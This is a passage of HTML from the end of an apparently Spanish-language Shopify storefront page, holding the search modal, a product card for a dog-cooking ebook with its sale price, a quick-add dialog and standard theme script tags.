  src="//cocinacanina.store/cdn/shop/t/1/assets/predictive-search.js?v=162722252387887966571787271009"
  type="module"
  fetchpriority="low"
></script>

<dialog-component
  id="search-modal"
  class="search-modal"
  
>
  <dialog
    ref="dialog"
    on:click="/closeDialogOnClickOutside"
    on:keydown="/closeDialogOnEscapePress"
    class="search-modal__content dialog-modal"
    scroll-lock
    aria-labelledby="search-modal-heading"
  >
    <h2
      id="search-modal-heading"
      class="visually-hidden"
    >
      Buscar
    </h2>
    <predictive-search-component
      class="predictive-search color-custom-popover"
      style="--product-corner-radius: 0px; --card-corner-radius: 4px;"
      data-section-id="predictive-search"
      data-testid="search-component--modal"
      role="search"
      aria-label="Buscar"
    >
      <form
        action="/search"
        method="get"
        role="search"
        class="predictive-search-form"
        ref="form"
        on:keydown="/onSearchKeyDown"
      >
        <div
          class="predictive-search-form__header"
        >
          <div class="predictive-search-form__header-inner">
            <label
              for="cmdk-input"
              class="visually-hidden"
            >Buscar</label>
            <input
              class="search-input"
              id="cmdk-input"
              type="search"
              name="q"
              role="combobox"
              aria-expanded="false"
              aria-owns="predictive-search-results"
              aria-controls="predictive-search-results"
              aria-haspopup="listbox"
              aria-autocomplete="list"
              autocomplete="off"
              placeholder="Buscar"
              ref="searchInput"
              on:input="/search"
              on:keydown="/onSearchKeyDown"
            >
            <input
              name="options[prefix]"
              type="hidden"
              value="last"
            >
            <span class="svg-wrapper predictive-search__icon">
              <svg aria-hidden="true" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 20 20" fill="none"><circle cx="9" cy="9" r="4.75" stroke="currentColor" stroke-width="var(--icon-stroke-width)"/><path stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="var(--icon-stroke-width)" d="m12.5 12.5 3.25 3.25"/></svg>

            </span>
            <button
              type="button"
              class="button-unstyled predictive-search__reset-button"
              ref="resetButton"
              hidden
              on:click="/resetSearch"
            >
              Borrar
            </button>
          </div>
          <button
            type="button"
            class="button predictive-search__close-modal-button"
            aria-label="Cerrar diálogo"
            on:click="dialog-component/closeDialog"
            ref="closeModalButton"
          >
            <span class="svg-wrapper">
              <svg aria-hidden="true" width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M11.1765 12.025C11.4108 12.2594 11.7907 12.2594 12.025 12.025C12.2594 11.7907 12.2594 11.4108 12.025 11.1765L8.84931 8.00078L12.025 4.82505C12.2594 4.59073 12.2594 4.21083 12.025 3.97652C11.7907 3.7422 11.4108 3.7422 11.1765 3.97652L8.00078 7.15225L4.82505 3.97652C4.59073 3.7422 4.21083 3.7422 3.97652 3.97652C3.7422 4.21083 3.7422 4.59073 3.97652 4.82505L7.15225 8.00078L3.97652 11.1765C3.7422 11.4108 3.7422 11.7907 3.97652 12.025C4.21083 12.2594 4.59073 12.2594 4.82505 12.025L8.00078 8.84931L11.1765 12.025Z" fill="currentColor"/>
</svg>

            </span>
          </button>
        </div>

        <div class="predictive-search-form__content-wrapper">
          <div
            class="predictive-search-form__content"
            ref="predictiveSearchResults"
            on:click="/handleModalClick"
          >
            

<div
  id="predictive-search-results"
  class="predictive-search-dropdown"
  role="listbox"
  aria-expanded="true"
  style="--color-shadow: rgb(var(--color-foreground-rgb) / 0.1);"
>
  
    <div class="predictive-search-results__inner">
      
      
        
        
        
          <div
  id="predictive-search-products"
  class="predictive-search-results__products"
  
    data-testid="products-list-default--modal"
  
>
  
    <h4 class="predictive-search-results__title">
      Productos
    </h4>
    <ul
      class="predictive-search-results__list predictive-search-results__wrapper-products list-unstyled"
    >
      
      
        <li
          class="predictive-search-results__card predictive-search-results__card--product"
          ref="resultsItems[]"
        >
          
<product-component
    class="resource-card__wrapper"
    
    
    view-event-payload="{&quot;product&quot;:{&quot;id&quot;:9214351704220,&quot;title&quot;:&quot;EBOOK COCINA CANINA&quot;,&quot;handle&quot;:&quot;ebook-cocina-canina&quot;,&quot;selectedVariant&quot;:null},&quot;context&quot;:&quot;search&quot;,&quot;selectedOptions&quot;:[]}"
    
  ><div
  class="resource-card"
  data-resource-type="product"
>
  <a
    class="resource-card__link"
    href="/products/ebook-cocina-canina"
  >
    <span class="visually-hidden">
      EBOOK COCINA CANINA
    </span>
  </a>
  <div
    class="resource-card__media"
    style="--resource-card-aspect-ratio: 4 / 5;"
    
  >
      
      

        <img src="//cocinacanina.store/cdn/shop/files/Gemini_Generated_Image_fqlrkdfqlrkdfqlr_988778b8-7eea-4d0d-9f7d-3439aa728a5a.jpg?v=1788217462&amp;width=500" alt="" srcset="//cocinacanina.store/cdn/shop/files/Gemini_Generated_Image_fqlrkdfqlrkdfqlr_988778b8-7eea-4d0d-9f7d-3439aa728a5a.jpg?v=1788217462&amp;width=240 240w, //cocinacanina.store/cdn/shop/files/Gemini_Generated_Image_fqlrkdfqlrkdfqlr_988778b8-7eea-4d0d-9f7d-3439aa728a5a.jpg?v=1788217462&amp;width=352 352w" width="500" height="896" loading="lazy" class="resource-card__image" sizes="auto" ref="" style="object-position: 50.0% 50.0%;">
</div>

  <div class="resource-card__content">
    <p class="resource-card__title paragraph">EBOOK COCINA CANINA</p>

    
      

<div ref="priceContainer">
  
    
    
      
        <span class="price-item__group price-item--regular compare-at-price">
          <span class="visually-hidden">Precio habitual&nbsp;</span>$63.300,00</span>
        <span class="price-item__group price">
          <span class="visually-hidden">Precio de oferta&nbsp;</span>
          $18.990,00
        </span>
      
    
  
</div>
    
  </div>
</div></product-component>

        </li>
      
    </ul>
  
</div>

        
      
    </div>
  
</div>

          </div>

          <div class="predictive-search-form__footer">
            <button
              class="button predictive-search__search-button"
              ref="viewAllButton"
            >
              Ver todo
            </button>
          </div>
        </div>
      </form>
    </predictive-search-component>
  </dialog>
</dialog-component>




    
      <script
  src="//cocinacanina.store/cdn/shop/t/1/assets/gift-card-recipient-form.js?v=170482155849799299241787271009"
  type="module"
  fetchpriority="low"
></script>




<quick-add-dialog id="quick-add-dialog">
  <dialog
    class="quick-add-modal dialog-modal color-custom-popover"
    ref="dialog"
    scroll-lock
  >
    <button
      ref="closeButton"
      on:click="/closeDialog"
      class="button button-unstyled close-button quick-add-modal__close"
      aria-label="Cerrar diálogo"
    ><svg aria-hidden="true" width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M11.1765 12.025C11.4108 12.2594 11.7907 12.2594 12.025 12.025C12.2594 11.7907 12.2594 11.4108 12.025 11.1765L8.84931 8.00078L12.025 4.82505C12.2594 4.59073 12.2594 4.21083 12.025 3.97652C11.7907 3.7422 11.4108 3.7422 11.1765 3.97652L8.00078 7.15225L4.82505 3.97652C4.59073 3.7422 4.21083 3.7422 3.97652 3.97652C3.7422 4.21083 3.7422 4.59073 3.97652 4.82505L7.15225 8.00078L3.97652 11.1765C3.7422 11.4108 3.7422 11.7907 3.97652 12.025C4.21083 12.2594 4.59073 12.2594 4.82505 12.025L8.00078 8.84931L11.1765 12.025Z" fill="currentColor"/>
</svg>
</button>

    <product-component
      id="quick-add-modal-content"
      class="quick-add-modal__content"
      view-event-trigger="dialog"
    ></product-component>
  </dialog>
</quick-add-dialog>














    
  <script src="https://cdn.shopify.com/storefront/standard-actions.js" type="module" data-source-attribution="shopify.standard_actions"></script>
</body>
</html>
